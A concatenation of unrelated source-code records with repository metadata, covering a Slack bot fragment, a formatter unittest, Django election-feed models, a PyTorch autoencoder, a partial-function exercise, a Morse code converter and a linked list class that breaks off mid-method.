problem is just as well as I do. Error: {1}".format( self.requesting_user['first_name'], str(e)) return response class HalCommandBuilder: @staticmethod def build_command_from_event(command_event): parsed_command = HalCommandParser.parse_command_from_message_text(command_event['text']) if parsed_command['command_type'] == HalCommandTypes.COFFEE_COMMAND: coffee_command = CoffeeCommand() coffee_command.requesting_user = utils.get_user_by_id(command_event['user'])['profile'] coffee_command.command_arguments = parsed_command['command_arguments'] return coffee_command else: raise Exception("Unhandled command type")

[ "pepedou@gmail.com" ]

pepedou@gmail.com

40d86f8b94472be347d9dfd40e701d0c50a4370d

ac85e1ba9b5cf9e72698705560be1e9470a13c48

/test_formater.py

ae4b33023f1dffd058513074b53a8f2068e78b84

[]

no_license

FernandaHinojosa/testing

79c7a3bae92a09a383acee2c877b5dd1aa206671

7f43eaf47591a80f16749041524f61d624ac0975

refs/heads/master

2021-07-24T05:40:47.254881

2017-11-06T14:16:29

null

0

null

UTF-8

Python

false

1,200

py

from unittest import TestCase from main import Formater import sys sys.tracebacklimit = 0 class TestFormater(TestCase): def setUp(self): print(self._testMethodDoc) def tearDown(self): pass def test_clean_integers(self): """-- Test Clean Integers""" msg = "The correct numerical value is not being returned" self.assertEqual(Formater.clean_number('9, 000 000'), 9000000, msg=msg) self.assertEqual(Formater.clean_number('5'), 5, msg=msg) self.assertEqual(Formater.clean_number('58, 710, 520'), 58710520, msg=msg) def test_correct_int_cast(self): """-- Test Int Cast """ msg = "The correct type is not being returned for the integers" self.assertIsInstance(Formater.clean_number('9, 000 000'), int, msg=msg) self.assertIsInstance(Formater.clean_number('5'), int) self.assertIsInstance(Formater.clean_number('58, 710, 520'), int, msg=msg) def test_clean_floats(self): pass def test_correct_float_cast(self): pass def test_comma_afther_dot(self): pass def test_multiple_dots(self): pass def test_no_valid_entrys(self): pass

[ "red2000ace@gmail.com" ]

red2000ace@gmail.com

566d49bca2e69081ec3642a0f489a87b16e2ca06

3da85bca3dcedda942a7143393f84dd0132620ee

/vip52/models.py

3d311f0ff15d2113a5e8ffd26c939e8f47184b0e

[]

no_license

afsmythe/vip_feed_builder

ff9320b72de76f6b73b6fc6e62ab283ce629fc67

ee68a717284b72437435315c9a10510ab59b457e

refs/heads/main

2023-07-14T00:04:29.672211

2021-08-18T22:07:54

397,379,596

0

null

UTF-8

Python

false

32,265

py

from django.core.exceptions import ObjectDoesNotExist from django.db import models from django.forms import model_to_dict, fields_for_model from lxml import etree from lxml.etree import Element import pprint def xml_element(model): sequence = fields_for_model(model, exclude = ['id']).keys() dict = model_to_dict(model, exclude = ['id']) element = etree.Element(model.__class__.__name__, attrib = {'id': str(model.id)}) e_dict = dict #e_dict = self.dict() for i in sequence: key, val = i, e_dict[i] #for key, val in e_dict.items(): if isinstance(val, list) and len(val) > 0: #print(val) child = Element(key) l = [] for i in val: #check if type is a sub-type. if isinstance(i, InternationalizedText): #todo add .xml() method to InternationalizedText model it_child = Element('Text', attrib = {'language': i.Language}) it_child.text = i.LanguageString child.append(it_child) element.append(child) elif isinstance(i, ExternalIdentifier): for ed in val: child = Element(key) child.append(ed.xml()) elif isinstance(i, LatLng): latlng = LatLng.objects.get(id = i.id) child = latlng.xml() element.append(child) elif isinstance(i, Schedule): print('Schedule found') schedule = Schedule.objects.get(id = i.id) child = schedule.xml() element.append(child) elif isinstance(i, SimpleAddressType): print('Structured Address') structuredaddress = SimpleAddressType.objects.get(id = i.id) child = structuredaddress.xml() element.append(child) elif isinstance(i, ElectionNotice): print('Election Notice') notice = ElectionNotice.objects.get(id = i.id) child = notice.xml() element.append(child) else: #it is not a sub-type, is IDXREFS l.append(str(i.id)) child.text = " ".join(l) element.append(child) else: if key == 'Date': date = Element('Date') date.text = str(val) element.append(date) elif val is None or val == '' or len(val) == 0: #elif val is None or val == '': continue elif key == 'Department': print('Department') dep = Department.objects.get(id = val) child = dep.xml() element.append(child) try: vs = VoterService.objects.get(id = dep.VoterService_id) print('VoterService') child.append(vs.xml()) except: ObjectDoesNotExist # elif key == 'VoterService': # print('Voter Service') # vs = VoterService.objects.get(id = val) # child = vs.xml() # element.append(child) else: #regular value child = Element(key) child.text = str(val) element.append(child) return(element) # Create your models here. class Source(models.Model): id = models.CharField(primary_key = True, max_length = 50) Name = models.CharField(max_length = 500, blank = True, null = True) VipId = models.CharField(max_length = 50, blank = True, null = True) DateTime = models.CharField(max_length = 50, blank = True, null = True) class InternationalizedText(models.Model): Language = models.CharField(max_length = 2, default = 'en') LanguageString = models.CharField(max_length = 5000) def __str__(self): return("{}: {}".format(self.Language, self.LanguageString)) def xml(self): it_element = Element('Text', attrib = {'language': self.Language}) it_element.text = self.LanguageString return(it_element) class ExternalIdentifier(models.Model): Type = models.CharField(max_length = 50, blank = True, null = True) OtherType = models.CharField(max_length = 100, blank = True, null = True) Value = models.CharField(max_length = 100, blank = True, null = True) def __str__(self): return("{}: {}".format(self.Type, self.Value)) def dict(self): return(model_to_dict(self, exclude = ['id'])) def xml(self): element = Element('ExternalIdentifier') for key, val in self.dict().items(): if val is not None: child = Element(key) child.text = str(val) element.append(child) return(element) class Hours(models.Model): StartTime = models.CharField(max_length = 50, blank = True, null = True) EndTime = models.CharField(max_length = 50, blank = True, null = True) def xml(self): return(xml_element(self)) class Schedule(models.Model): Hours = models.ManyToManyField(Hours, blank = True, max_length = 1000) IsOnlyByAppointment = models.CharField(max_length = 50, blank = True, null = True) IsOrByAppointment = models.CharField(max_length = 50, blank = True, null = True) IsSubjectToChange = models.CharField(max_length = 50, blank = True, null = True) StartDate = models.CharField(max_length = 50, blank = True, null = True) EndDate = models.CharField(max_length = 50, blank = True, null = True) def xml(self): schedule = etree.Element('Schedule') for key, val in model_to_dict(self, exclude = ['id']).items(): if isinstance(val, list): for ho in val: child = ho.xml() schedule.append(child) elif val != None: child = Element(key) child.text = str(val) schedule.append(child) return(schedule) class HoursOpen(models.Model): id = models.CharField(primary_key = True, max_length = 50) Schedule = models.ManyToManyField(Schedule, blank = True, max_length = 1000) def xml(self): hoursopen = etree.Element('HoursOpen', attrib = {'id':self.id}) for key, val in model_to_dict(self, exclude = ['id']).items(): if isinstance(val, list): for sch in val: child = sch.xml() hoursopen.append(child) else: child = Element(key) child.text = str(val) hoursopen.append(child) return(hoursopen) class LatLng(models.Model): Latitude = models.CharField(max_length = 50) Longitude = models.CharField(max_length = 50) Source = models.CharField(max_length = 50, blank = True, null = True) def __str__(self): return("{}: {}, {}".format(self.Source, self.Latitude, self.Longitude)) def xml(self): sequence = fields_for_model(self, exclude = ['id']).keys() dict = model_to_dict(self, exclude = ['id']) element = etree.Element('LatLng') for key in sequence: val = dict[key] #for key, val in model_to_dict(self, exclude = ['id']).items(): #print(key, val) if val != None or val != '': child = Element(key) child.text = str(val) element.append(child) latlng = model_to_dict(self, exclude = ['id']) return(element) class ContactInformation(models.Model): AddressLine = models.CharField(max_length = 1000, blank = True, null = True) Directions = models.ManyToManyField(InternationalizedText, blank = True, max_length = 200) Email = models.CharField(max_length = 100, blank = True, null = True) Fax = models.CharField(max_length = 100, blank = True, null = True) HoursOpenId = models.CharField(max_length = 100, blank = True, null = True) LatLng = models.CharField(max_length = 100, blank = True, null = True) Name = models.CharField(max_length = 1000, blank = True, null = True) Phone = models.CharField(max_length = 100, blank = True, null = True) Uri = models.URLField(blank = True, null = True) parent_id = models.CharField(max_length = 100, blank = True, null = True) def dict(self): return(model_to_dict(self, exclude = ['id','parent_id'])) def xml(self): element = Element('ContactInformation') for key, val in self.dict().items(): if isinstance(val, list) and len(val) > 0: child = Element(key) it_child = Element('Text', attrib = {'language': i.Language}) it_child.text = i.LanguageString child.append(it_child) element.append(child) else: if val is None or val == '' or len(val) == 0: continue else: child = Element(key) child.text = str(val) element.append(child) return(element) class Party(models.Model): id = models.CharField(primary_key = True, max_length = 50) Abbreviation = models.CharField(max_length = 50, blank = True, null = True) Color = models.CharField(max_length = 10, blank = True, null = True) ExternalIdentifiers = models.ManyToManyField(ExternalIdentifier, blank = True, max_length = 1000) IsWriteIn = models.CharField(max_length = 10, blank = True, null = True) LogoUri = models.URLField(blank = True, null = True) Name = models.ManyToManyField(InternationalizedText, blank = True, max_length = 200) class Person(models.Model): id = models.CharField(primary_key = True, max_length = 50) ContactInformation = models.ManyToManyField(ContactInformation, blank = True, max_length = 1000) DateOfBirth = models.DateTimeField(blank = True, null = True) ExternalIdentifiers = models.ManyToManyField(ExternalIdentifier, blank = True, max_length = 1000) FirstName = models.CharField(max_length = 50, blank = True, null = True) FullName = models.ManyToManyField(InternationalizedText, blank = True, max_length = 200, related_name = 'person_full_name') Gender = models.CharField(max_length = 50, blank = True, null = True) LastName = models.CharField(max_length = 50, blank = True, null = True) MiddleName = models.CharField(max_length = 50, blank = True, null = True) Nickname = models.CharField(max_length = 50, blank = True, null = True) PartyId = models.ForeignKey(Party, on_delete = models.CASCADE, db_column = 'PartyId', blank = True, null = True) Prefix = models.CharField(max_length = 50, blank = True, null = True) Profession = models.ManyToManyField(InternationalizedText, blank = True, max_length = 200, related_name = 'person_profession') Suffix = models.CharField(max_length = 50, blank = True, null = True) Title = models.ManyToManyField(InternationalizedText, blank = True, max_length = 200, related_name = 'person_title') class Candidate(models.Model): id = models.CharField(primary_key = True, max_length = 50) BallotName = models.ManyToManyField(InternationalizedText, blank = True, max_length = 200) ContactInformation = models.ManyToManyField(ContactInformation, blank = True, max_length = 1000) ExternalIdentifiers = models.ManyToManyField(ExternalIdentifier, blank = True, max_length = 1000) FileDate = models.CharField(max_length = 50, blank = True, null = True) IsIncumbent = models.CharField(max_length = 50, blank = True, null = True) IsTopTicket = models.CharField(max_length = 50, blank = True, null = True) PartyId = models.ForeignKey(Party, on_delete = models.CASCADE, db_column = 'PartyId', blank = True, null = True) PersonId = models.ForeignKey(Person, on_delete = models.CASCADE, db_column = 'PersonId', blank = True, null = True) PostElectionStatus = models.CharField(max_length = 50, blank = True, null = True) PreElectionStatus = models.CharField(max_length = 50, blank = True, null = True) SequenceOrder = models.CharField(max_length = 50, blank = True, null = True) class BallotMeasureSelection(models.Model): id = models.CharField(primary_key = True, max_length = 50) Selection = models.ManyToManyField(InternationalizedText, blank = True, max_length = 200) SequenceOrder = models.CharField(max_length = 50, blank = True, null = True) def __str__(self): return(self.id) class BallotMeasureContest(models.Model): id = models.CharField(primary_key = True, max_length = 50) Abbreviation = models.CharField(max_length = 100, blank = True, null = True) BallotSelectionIds = models.ManyToManyField(BallotMeasureSelection, blank = True, max_length = 1000) BallotSubTitle = models.ManyToManyField(InternationalizedText, related_name = 'bmc_ballot_sub_title',blank = True, max_length = 200) BallotTitle = models.ManyToManyField(InternationalizedText, related_name = 'bmc_ballot_title',blank = True, max_length = 200) ElectoralDistrictId = models.ForeignKey('ElectoralDistrict', blank = True, db_column = 'ElectoralDistrictId', on_delete = models.CASCADE) ElectorateSpecification = models.ManyToManyField(InternationalizedText, related_name = 'bmc_electorate_specification',blank = True, max_length = 200) ExternalIdentifiers = models.ManyToManyField(ExternalIdentifier, blank = True, max_length = 200) HasRotation = models.CharField(max_length = 50, blank = True, null = True) Name = models.CharField(max_length = 100, blank = True, null = True) SequenceOrder = models.CharField(max_length = 100, blank = True, null = True) VoteVariation = models.CharField(max_length = 100, blank = True, null = True) OtherVoteVariation = models.CharField(max_length = 100, blank = True, null = True) ConStatement = models.ManyToManyField(InternationalizedText, related_name = 'bmc_con_statement', blank = True, max_length = 200) EffectOfAbstain = models.ManyToManyField(InternationalizedText, related_name = 'bmc_effect_of_abstain',blank = True, max_length = 200) FullText = models.ManyToManyField(InternationalizedText, related_name = 'bmc_full_text',blank = True, max_length = 200) InfoUri = models.URLField(blank = True, null = True) PassageThreshold = models.ManyToManyField(InternationalizedText, related_name = 'bmc_passage_threshold',blank = True, max_length = 200) ProStatement = models.ManyToManyField(InternationalizedText, related_name = 'bmc_pro_statement',blank = True, max_length = 200) SummaryText = models.ManyToManyField(InternationalizedText, related_name = 'bmc_summary_text',blank = True, max_length = 200) Type = models.CharField(max_length = 50, blank = True, null = True) OtherType = models.CharField(max_length = 50, blank = True, null = True) class CandidateSelection(models.Model): id = models.CharField(primary_key = True, max_length = 50) SequenceOrder = models.CharField(max_length = 50, blank = True, null = True) CandidateIds = models.ManyToManyField(Candidate, blank = True, max_length = 200) EndorsementPartyIds = models.ManyToManyField(Party, blank = True, max_length = 200) IsWriteIn = models.CharField(max_length = 50, blank = True, null = True) class CandidateContest(models.Model): id = models.CharField(primary_key = True, max_length = 100) Abbreviation = models.CharField(max_length = 100, blank = True, null = True) BallotSelectionIds = models.ManyToManyField(CandidateSelection, blank = True, max_length = 1000) BallotSubTitle = models.ManyToManyField(InternationalizedText, related_name = 'cc_ballot_sub_title',blank = True, max_length = 200) BallotTitle = models.ManyToManyField(InternationalizedText, related_name = 'cc_ballot_title',blank = True, max_length = 200) ElectoralDistrictId = models.ForeignKey('ElectoralDistrict',on_delete = models.CASCADE, db_column = 'ElectoralDistrictId', max_length = 1000) ElectorateSpecification = models.ManyToManyField(InternationalizedText, related_name = 'cc_electorate_specification', blank = True, max_length = 200) ExternalIdentifiers = models.ManyToManyField(ExternalIdentifier, blank = True, max_length = 1000) HasRotation = models.CharField(max_length = 1000, blank = True, null = True) Name = models.CharField(max_length = 2000, blank = True, null = True) SequenceOrder = models.CharField(max_length = 100, blank = True, null = True) VoteVariation = models.CharField(max_length = 100, blank = True, null = True) OtherVoteVariation = models.CharField(max_length = 100, blank = True, null = True) NumberElected = models.CharField(max_length = 100, blank = True, null = True) OfficeIds = models.ManyToManyField('Office', blank = True, max_length = 1000) PrimaryPartyIds = models.ManyToManyField('Party', blank = True, max_length = 1000) VotesAllowed = models.CharField(max_length = 100, blank = True, null = True) class Election(models.Model): id = models.CharField(primary_key = True, max_length = 50) Date = models.CharField(max_length = 50, blank = True, null = True) HoursOpenId = models.CharField(max_length = 50, blank = True, null = True) PollingHours = models.ManyToManyField(InternationalizedText, blank = True, max_length = 200, related_name = 'election_hours') ElectionType = models.ManyToManyField(InternationalizedText, blank = True, max_length = 200, related_name = 'election_type') StateId = models.ForeignKey('State', on_delete=models.CASCADE, db_column = 'StateId') IsStatewide = models.CharField(max_length = 10, blank = True, null = True) Name = models.ManyToManyField(InternationalizedText, blank = True, max_length = 200, related_name = 'election_name') RegistrationInfo = models.ManyToManyField(InternationalizedText, blank = True, max_length = 200, related_name = 'election_registration_info') AbsenteeBallotInfo = models.ManyToManyField(InternationalizedText, blank = True, max_length = 200, related_name = 'absentee_ballot_info') ResultsUri = models.URLField(blank = True, null = True) HasElectionDayRegistration = models.CharField(max_length = 10, blank = True, null = True) RegistrationDeadline = models.CharField(max_length = 50, blank = True, null = True) AbsenteeRequestDeadline = models.CharField(max_length = 50, blank = True, null = True) class VoterService(models.Model): id = models.CharField(primary_key = True, max_length = 50) Description = models.ForeignKey(InternationalizedText, blank = True, max_length = 2000, on_delete = models.CASCADE) Type = models.CharField(max_length = 50, blank = True, null = True) def dict(self): return(model_to_dict(self, exclude = ['id'])) def xml(self): element = etree.Element('VoterService') for key, val in self.dict().items(): if key == 'Description': child = Element('Description') it = InternationalizedText.objects.get(id = val) child.append(it.xml()) else: if val is None or val == '' or len(val) == 0: continue else: child = Element(key) child.text = str(val) element.append(child) return(element) class Department(models.Model): id = models.CharField(primary_key = True, max_length = 50) ContactInformation = models.ManyToManyField(ContactInformation, blank = True, max_length = 1000) ElectionOfficialPersonId = models.ForeignKey(Person, db_column = 'ElectionOfficialPersonId', on_delete = models.CASCADE, blank = True, null = True) VoterService = models.ForeignKey(VoterService, on_delete = models.CASCADE, blank = True, null = True) election_administration_id = models.CharField(max_length = 50, blank = True, null = True) #def __str__(self): # return(self.ContactInformation) def dict(self): return(model_to_dict(self, exclude = ['id'])) def xml(self): element = etree.Element('Department') for key, val in self.dict().items(): if isinstance(val, list) and len(val) > 0: for i in val: child = Element(key) it_child = Element('Text', attrib = {'language': i.Language}) it_child.text = i.LanguageString child.append(it_child) element.append(child) # elif key == 'VoterService': # print('Voter Service') # vs = VoterService.objects.get(id = val) # child = vs.xml() # element.append(child) else: if val is None or val == '' or len(val) == 0: continue else: child = Element(key) child.text = str(val) element.append(child) return(element) class ElectionNotice(models.Model): NoticeText = models.ManyToManyField(InternationalizedText, blank = True, max_length = 5000) NoticeUri = models.URLField(blank = True, null = True) def dict(self): return(model_to_dict(self, exclude = ['id'])) def xml(self): element = Element('ElectionNotice') for key, val in self.dict().items(): if isinstance(val, list) and len(val) > 0: for i in val: child = Element(key) it_child = Element('Text', attrib = {'language': i.Language}) it_child.text = i.LanguageString child.append(it_child) element.append(child) else: if val is None or val == '' or len(val) == 0: continue else: child = Element(key) child.text = str(val) element.append(child) return(element) class ElectionAdministration(models.Model): id = models.CharField(primary_key = True, max_length = 50) AbsenteeUri = models.URLField(blank = True, null = True) AmIRegisteredUri = models.URLField(blank = True, null = True) BallotTrackingUri = models.URLField(blank = True, null = True) BallotProvisionalTrackingUri = models.URLField(blank = True, null = True) Department = models.ForeignKey(Department, on_delete = models.CASCADE, max_length = 2000, default = 'dep1') ElectionNotice = models.ManyToManyField(ElectionNotice, blank = True, null = True) ElectionsUri = models.URLField(max_length = 1000, blank = True, null = True) RegistrationUri = models.URLField(blank = True, null = True) RulesUri = models.URLField(blank = True, null = True) WhatIsOnMyBallotUri = models.URLField(blank = True, null = True) WhereDoIVoteUri = models.URLField(blank = True, null = True) class ElectoralDistrict(models.Model): id = models.CharField(primary_key = True, max_length = 50) ExternalIdentifiers = models.ManyToManyField(ExternalIdentifier, blank = True, max_length = 1000) Name = models.CharField(blank = True, null = True ,max_length = 100) Number = models.CharField(blank = True, null = True ,max_length = 50) Type = models.CharField(blank = True, null = True ,max_length = 50) OtherType = models.CharField(blank = True, null = True ,max_length = 50) def __str__(self): return("Name: {}; Number: {}".format(self.Name, self.Number)) class Office(models.Model): id = models.CharField(primary_key = True, max_length = 50) ContactInformation = models.ManyToManyField(ContactInformation, blank = True, max_length = 1000) Description = models.ManyToManyField(InternationalizedText, blank = True, max_length = 200, related_name = 'office_description') ElectoralDistrictId = models.ForeignKey(ElectoralDistrict, db_column = 'ElectoralDistrictId', on_delete = models.CASCADE, blank = True, null = True) ExternalIdentifiers = models.ManyToManyField(ExternalIdentifier, blank = True, max_length = 1000) FilingDeadline = models.CharField(blank = True, null = True, max_length = 100) IsPartisan = models.CharField(blank = True, null = True, max_length = 100) Name = models.ManyToManyField(InternationalizedText, blank = True, max_length = 200, related_name = 'office_name') OfficeHolderPersonIds = models.ManyToManyField(Person, blank = True) Term = models.CharField(blank = True, null = True, max_length = 100) class Locality(models.Model): id = models.CharField(primary_key = True, max_length = 50) ElectionAdministrationId = models.ForeignKey('ElectionAdministration', on_delete = models.CASCADE, db_column = 'ElectionAdministrationId', blank = True, null = True) ExternalIdentifiers = models.ManyToManyField(ExternalIdentifier, blank = True, max_length = 1000) IsMailOnly = models.CharField(max_length = 50, blank = True, null = True) Name = models.CharField(max_length = 100, blank = False, default = None) PollingLocationIds = models.ManyToManyField('PollingLocation',max_length = 10000, blank = True) StateId = models.ForeignKey('State', on_delete = models.CASCADE, db_column = 'StateId', blank = True, null = True) Type = models.CharField(blank = True, null = True, max_length = 100) OtherType = models.CharField(blank = True, null = True, max_length = 100) # def __str__(self): # return(self.Name) class SimpleAddressType(models.Model): Line1 = models.CharField(max_length = 100) Line2 = models.CharField(blank = True, null = True, max_length = 100, default = '') Line3 = models.CharField(blank = True, null = True, max_length = 100, default = '') City = models.CharField(max_length = 100) State = models.CharField(max_length = 100) Zip = models.CharField(blank = True, null = True, max_length = 100, default = "") def dict(self): dict = model_to_dict(self, exclude = ['id']) sequence = fields_for_model(self, exclude = ['id']).keys() for i in sequence: o_dict = collections.OrderedDict(i = dict[i]) return(o_dict) #return(model_to_dict(self, exclude = ['id'])) def xml(self): element = Element('AddressStructured') dict = model_to_dict(self, exclude = ['id']) sequence = fields_for_model(self, exclude = ['id']).keys() for i in sequence: val = dict[i] if val is not None: child = Element(i) child.text = str(val) element.append(child) return(element) class PollingLocation(models.Model): id = models.CharField(primary_key = True, max_length = 50) AddressStructured = models.ManyToManyField(SimpleAddressType, blank = True, null = True) AddressLine = models.CharField(blank = True, null = True, max_length = 1000) Directions = models.ManyToManyField(InternationalizedText, blank = True, max_length = 200, related_name = 'pl_directions') Hours = models.ManyToManyField(InternationalizedText, blank = True, max_length = 200) #HoursOpenId = models.ForeignKey('HoursOpen', on_delete=models.CASCADE, blank = True, null = True) HoursOpenId = models.ForeignKey(HoursOpen, db_column = 'HoursOpenId', on_delete = models.SET_NULL, max_length = 50, blank = True, null = True) IsDropBox = models.CharField(max_length = 50, blank = True, null = True, default = 'false') IsEarlyVoting = models.CharField(max_length = 50, blank = True, null = True, default = 'false') LatLng = models.ManyToManyField(LatLng, db_column = 'LatLng', max_length = 50, null = True, blank = True) Name = models.CharField(blank = True, null = True, max_length = 1000) PhotoUri = models.URLField(blank = True, null = True) def __str__(self): return(self.Name) class OrderedContest(models.Model): id = models.CharField(primary_key = True, max_length = 50) ContestId = models.ForeignKey(CandidateContest, db_column = 'ContestId', on_delete = models.CASCADE, max_length = 50, blank = True, null = True) OrderedBallotSelectionIds = models.ManyToManyField(CandidateSelection, blank = True, max_length = 1000) class BallotStyle(models.Model): id = models.CharField(primary_key = True, max_length = 50) ImageUri = models.URLField(blank = True, null = True) OrderedContestIds = models.ManyToManyField(OrderedContest, blank = True, max_length = 1000) PartyIds = models.ManyToManyField(Party, blank = True, max_length = 1000) class Precinct(models.Model): id = models.CharField(primary_key = True, max_length = 50) BallotStyleId = models.ForeignKey(BallotStyle, db_column = 'BallotStyleId', on_delete = models.CASCADE, max_length = 50, blank = True, null = True) ElectoralDistrictIds = models.ManyToManyField(ElectoralDistrict, max_length = 1000, blank = True) ExternalIdentifiers = models.ManyToManyField(ExternalIdentifier, blank = True, max_length = 1000) IsMailOnly = models.CharField(max_length = 50, blank = True, null = True) LocalityId = models.ForeignKey(Locality, db_column = 'LocalityId', on_delete = models.CASCADE, max_length = 50) Name = models.CharField(max_length = 200, blank = True, null = True) Number = models.CharField(max_length = 50, blank = True, null = True) PollingLocationIds = models.ManyToManyField(PollingLocation,max_length = 1000, blank = True) PrecinctSplitName = models.CharField(max_length = 50, blank = True, null = True) Ward = models.CharField(max_length = 50, blank = True, null = True) def __str__(self): return("{} ({})".format(self.Name, self.LocalityId.Name)) class State(models.Model): id = models.CharField(primary_key = True, max_length = 50, default = "st1") ElectionAdministrationId = models.ForeignKey(ElectionAdministration, on_delete = models.CASCADE, db_column = 'ElectionAdministrationId', blank = True, null = True) ExternalIdentifiers = models.ManyToManyField(ExternalIdentifier, blank = True, max_length = 1000) Name = models.CharField(max_length = 50, blank = True, null = True) PollingLocationIds = models.ManyToManyField(PollingLocation, max_length = 1000, blank = True) def __str__(self): return(self.Name) def dict(self): return(model_to_dict(self, exclude = ['id'])) class StreetSegment(models.Model): id = models.CharField(primary_key = True, max_length = 50) AddressDirection = models.CharField(max_length = 50, blank = True, null = True) City = models.CharField(max_length = 50, blank = True, null = True) IncludesAllAddresses = models.CharField(max_length = 50, blank = True, null = True) IncludesAllStreets = models.CharField(max_length = 50, blank = True, null = True) OddEvenBoth = models.CharField(max_length = 50, blank = True, null = True) PrecinctId = models.ForeignKey(Precinct, on_delete = models.CASCADE, db_column = 'PrecinctId') StartHouseNumber = models.CharField(max_length = 50, blank = True, null = True) EndHouseNumber = models.CharField(max_length = 50, blank = True, null = True) HouseNumberPrefix = models.CharField(max_length = 50, blank = True, null = True) HouseNumberSuffix = models.CharField(max_length = 50, blank = True, null = True) State = models.CharField(max_length = 50, blank = True, null = True) StreetDirection = models.CharField(max_length = 50, blank = True, null = True) StreetName = models.CharField(max_length = 50, blank = True, null = True) StreetSuffix = models.CharField(max_length = 50, blank = True, null = True) UnitNumber = models.CharField(max_length = 500, blank = True, null = True) Zip = models.CharField(max_length = 50, blank = True, null = True) class Error(models.Model): id_error = models.CharField(max_length = 50, blank = True, null = True) error_object = models.CharField(max_length = 50, blank = True, null = True) error_message = models.CharField(max_length = 500, blank = True, null = True)

[ "franklin@democracy.works" ]

franklin@democracy.works

5dbd16bad92c13444eb77d53b650fba51d099460

7f8cebd9315129bcdb7ef220dc449cda26a19ce4

/models/aetanh.py

bcff65d94ee5b2f960314125e4beb4f15db6e754

[]

no_license

KaiqianZhang/dpcca_v8

75477b1768905b6c41838c8da9ff77fba13b5a45

1b65fc0c3ec6b182907ba070e859c1d92fc98942

refs/heads/master

2020-08-30T09:32:58.485684

2019-11-11T17:34:55

218,334,012

1

0

null

UTF-8

Python

false

1,639

py

"""============================================================================= Autoencoder. =============================================================================""" import numpy as np from torch import nn # ------------------------------------------------------------------------------ class AETanH(nn.Module): def __name__(self): return 'AE' # ------------------------------------------------------------------------------ def __init__(self, cfg): super(AETanH, self).__init__() assert cfg.GENE_EMBED_DIM < 12 self.nc = cfg.N_CHANNELS self.w = cfg.IMG_SIZE self.input_dim = cfg.N_GENES self.encoder = nn.Sequential( nn.Linear(self.input_dim, 128), nn.Tanh(), nn.Linear(128, 64), nn.Tanh(), nn.Linear(64, cfg.GENE_EMBED_DIM) ) self.decoder = nn.Sequential( nn.Linear(cfg.GENE_EMBED_DIM, 64), nn.Tanh(), nn.Linear(64, 128), nn.Tanh(), nn.Linear(128, self.input_dim) ) # ------------------------------------------------------------------------------ def encode(self, x): x = x.view(-1, np.prod(x.shape[1:])) return self.encoder(x) # ------------------------------------------------------------------------------ def decode(self, z): x = self.decoder(z) return x.view(-1, self.input_dim) # ------------------------------------------------------------------------------ def forward(self, x): x = self.encode(x) x = self.decode(x) return x

[ "ggundersen@gmail.com" ]

ggundersen@gmail.com

5824f026706f22fed9333ce3b0f3cdc2674fb5cf

afb7d4d6013b6a9022d707d5835a3dd578214b2e

/Bite_172.py

d38f7db655c51e87afd6b54e249df6347f9a2efa

[]

no_license

JB0925/Bites

86f0bd49d8b53376257c14df280ae0a9643139a2

f884ce4ffd7ce39afcea5b86a80cec14c607a4f0

refs/heads/master

2023-03-29T21:48:42.849729

2021-03-29T01:37:48

316,419,350

0

null

UTF-8

Python

false

375

py

from functools import partial # create 2 partials: # - 'rounder_int' rounds to int (0 places) # - 'rounder_detailed' rounds to 4 places rounder_int = 0 rounder_detailed = 0 def round_to_int(num, places): return round(num, places) rounder_int = partial(round_to_int, places=0) rounder_detailed = partial(round_to_int, places=4) print(rounder_detailed(10.4232567))

[ "jbrink0925@gmail.com" ]

jbrink0925@gmail.com

32c853e551c807d8e0690e5eef0d6d8be54c3e94

da6bf15899bff60785b4659277a94c043c669f8f

/morse.py

198d3b555f073e1525d3fc5bef7806a92a91b463

[]

no_license

sandraonne/Python2

97aabe49b16043e3420dda1f49a18680b7268b01

7a07a02282afa1bb14390edf9082ee7da7200c6e

refs/heads/master

2021-01-24T00:33:29.414648

2018-02-24T19:02:40

122,771,107

0

null

UTF-8

Python

false

1,279

py

# Koosta programm, mis programmi käivitamisel tervitab # kasutajat nii tavakeeles kui morse koodina, lubab # seejärel kasutajal sisestada sõnu ning teisendab need # sümbolhaaval morsetähestikku (lisades iga sümboli järele # tühiku). Sõnastik ei pruugi sisaldada kõikvõimalikke # märke, seega tuleb iga sümboli puhul kontrollida, kas # see üldse esineb sõnastikus. kontrollimiseks kasutame # ainult väikesed tähed. Samuti õ. ä. ü ja ö asemel kasutame o, a ja u. tahestik = {"a":".-", "b":"-...", "c":"-.-.", "d":"-..", "e":".", "f":"..-.", "g":"--.", "h":"....", "i":"..", "j":".---", "k":"-.-", "l":".-..", "m":"--", "n":"-.", "o":"---", "p":".--.", "q":"--.-", "r":".-.", "s":"...", "t":"-", "u":"..-", "v":"...-", "w":".--", "x":"-..-", "y":"-.--", "z":"--..", " ":".......", "ä":".-", "õ":"---", "ö":"---", "ü":"..-"} tervitus = "Tervist" print("Tervist") for taht in tervitus: for voti in tahestik: if (taht.lower() == voti): print(tahestik[voti]) sona = input("Sisesta sõna või lause: ") for taht in sona: for voti in tahestik: if (taht.lower() == voti): print(tahestik[voti]) # else: # print("Sellist sümbolit ei esine morsetähestikus")

[ "sandra.onne@khk.ee" ]

sandra.onne@khk.ee

daaced6e4d0072db31cb545558da38494a427fbc

93d995cd40ff724570d904956564f5be00f2fbb7

/class_code/Tuesday/singly_linked_list.py

cd80d4481a1ca27165765fbf02938b47e380aa89

[]

no_license

HKang42/Data-Structures

fe37f9b3388bb65c91e44617eb57c8e5ecea21be

0df5d658a9b752ba7e113ec60a7666739066eda1

refs/heads/master

2022-11-08T19:25:31.359372

2020-06-12T06:57:44

271,117,643

0

null

2020-06-09T21:54:26

null

UTF-8

Python

false

5,068

py

class Node: def __init__(self, value, next=None): self.value = value self.next_node = next def get_value(self): # returns the node's data return self.value def get_next(self): # returns the thing pointed at by this node's `next` reference return self.next_node def set_next(self, new_next): # sets this node's `next` reference to `new_next` self.next_node = new_next class LinkedList: def __init__(self): # the first Node in the LinkedList self.head = None # the last Node in the LinkedList self.tail = None ''' Adds `data` to the end of the LinkedList O(1) because this operation doesn't depend on the size of the linked list ''' def add_to_tail(self, data): # wrap the `data` in a Node instance new_node = Node(data) # what about the empty case, when both self.head = None and self.tail = None? if not self.head and not self.tail: # list is empty # update both head and tail to point to the new node self.head = new_node self.tail = new_node # non-empty linked list case else: # call set_next with the new_node on the current tail node self.tail.set_next(new_node) # update self.tail to point to the new last Node in the linked list self.tail = new_node ''' Removes the Node that `self.tail` is referring to and returns the Node's data What's the runtime of this method? ''' def remove_tail(self): # if the linked list is empty if self.tail is None: return None # save the tail Node's data data = self.tail.get_value() # both head and tail refer to the same Node # there's only one Node in the linked list if self.head is self.tail: # set both to be None self.head = None self.tail = None else: # in order to update 